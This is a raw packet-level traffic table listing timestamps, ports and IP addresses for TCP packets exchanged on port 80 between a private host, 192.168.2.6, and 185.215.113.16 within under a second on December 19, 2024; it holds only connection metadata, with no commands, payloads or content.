Dec 19, 2024 08:46:25.079827070 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.080005884 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.080054045 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.080823898 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.081001043 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.081070900 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.081813097 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.082012892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.082143068 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.082762003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.082993984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.083220959 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.083733082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.083919048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.083977938 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.084744930 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.084920883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.084970951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.085701942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.085963964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.086033106 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.086685896 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.086874962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.086924076 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.088437080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.088445902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.088506937 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.089095116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.089438915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.089575052 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.089802027 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.090151072 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.090204954 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.091686964 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.091694117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.091751099 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.092402935 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.092411041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.092583895 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.093051910 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.093426943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.093559027 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.093739033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.094172001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.094584942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.094661951 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.094791889 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.095046043 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.095668077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.095722914 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.095885038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.096560001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.096602917 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.096796036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.097454071 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.097490072 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.097681999 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.097801924 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.098611116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.098808050 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.099096060 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.100296021 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.100302935 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.100440979 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.101026058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.101342916 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.101569891 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.111340046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.111551046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.111694098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.111824989 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.112170935 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.112221956 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.112773895 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.112955093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.113163948 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.113951921 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.160938025 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.245023966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.245229006 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.245575905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.245680094 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.245865107 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.246526957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.246601105 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.246656895 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.247369051 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.247493029 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.247703075 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.248470068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.248516083 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.248630047 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.249203920 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.249501944 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.249682903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.249753952 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.250418901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.250680923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.250745058 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.251393080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.251574039 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.252394915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.252567053 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.252616882 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.253398895 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.253635883 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.253681898 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.254339933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.254427910 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.254520893 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.254611015 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.255347967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.255544901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.256321907 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.256386995 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.256474018 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.257297993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.257379055 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.257456064 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.258338928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.258415937 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.258488894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.258547068 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.259268045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.259422064 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.259888887 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.260229111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.260445118 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.261212111 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.261301994 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.261394024 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.262176991 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.262382984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.262411118 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.263223886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.263227940 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.263437033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.263557911 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.264172077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.264370918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.264564991 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.265166998 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.265321970 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.265486956 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.266138077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.266338110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.266551018 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.267138958 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.267306089 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.267405987 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.268079042 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.268351078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.268527031 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.269083023 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.269253969 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.269670963 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.270040989 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.270221949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.270416021 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.271054983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.271238089 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.271437883 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.272083044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.272237062 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.272411108 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.272978067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.273186922 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.273478031 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.273971081 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.274199009 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.274564028 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.274928093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.275223017 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.275357962 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.275947094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.276133060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.276312113 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.276918888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.277144909 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.277344942 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.277911901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.278109074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.278541088 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.278913021 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.279095888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.279333115 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.280028105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.280488968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.280596972 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.280929089 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.281106949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.281176090 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.281857967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.282020092 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.282104969 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.282831907 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.283023119 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.283102989 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.283808947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.283998013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.284075022 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.284751892 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.284966946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.285049915 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.285739899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.285944939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.286007881 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.286729097 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.286938906 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.287053108 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.287708998 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.287897110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.287969112 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.288707972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.288887978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.288948059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.289732933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.289863110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.289968967 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.290688992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.290880919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.291057110 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.291629076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.291903973 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.292052031 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.292607069 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.292771101 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.292814970 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.299375057 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.303479910 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.303623915 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.303770065 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.303991079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.304375887 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.304486990 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.304939032 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.305130005 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.305263042 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.305881977 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.315356016 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.437109947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.437360048 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.437653065 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.437755108 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.437978983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.438339949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.438422918 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.438545942 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.439310074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.439450026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.439613104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.439613104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.440295935 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.440471888 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.440681934 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.441289902 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.441479921 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.441823006 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.442229033 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.442439079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.442701101 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.443202019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.443404913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.444117069 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.444222927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.444361925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.444538116 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.445177078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.445408106 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.445736885 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.446178913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.446377993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.447154045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.447227001 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.447349072 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.448177099 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.448348045 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.449117899 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.449167967 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.449286938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.450112104 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.450242043 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.450279951 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.450915098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.451082945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.451280117 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.451343060 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.452358007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.452641010 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.452879906 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.453888893 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.453963041 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.454081059 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.454411983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.454452038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.454577923 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.455018044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.455235004 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.455338955 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.455982924 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.456173897 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.456242085 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.456943035 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.457153082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.457241058 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.458095074 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.458278894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.458342075 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.458889961 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.459099054 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.459198952 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.459884882 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.460169077 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.460244894 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.460858107 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.461046934 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.461116076 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.461854935 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.462061882 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.462177038 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.462832928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.463037968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.463188887 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.463896036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.464082003 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.464267969 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.464792013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.465017080 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.465183973 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.465775967 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.465975046 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.466129065 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.466782093 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.466968060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.467106104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.467731953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.467926025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.468720913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.468905926 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.469702959 CET	80	49764	185.215.113.16	192.168.2.6
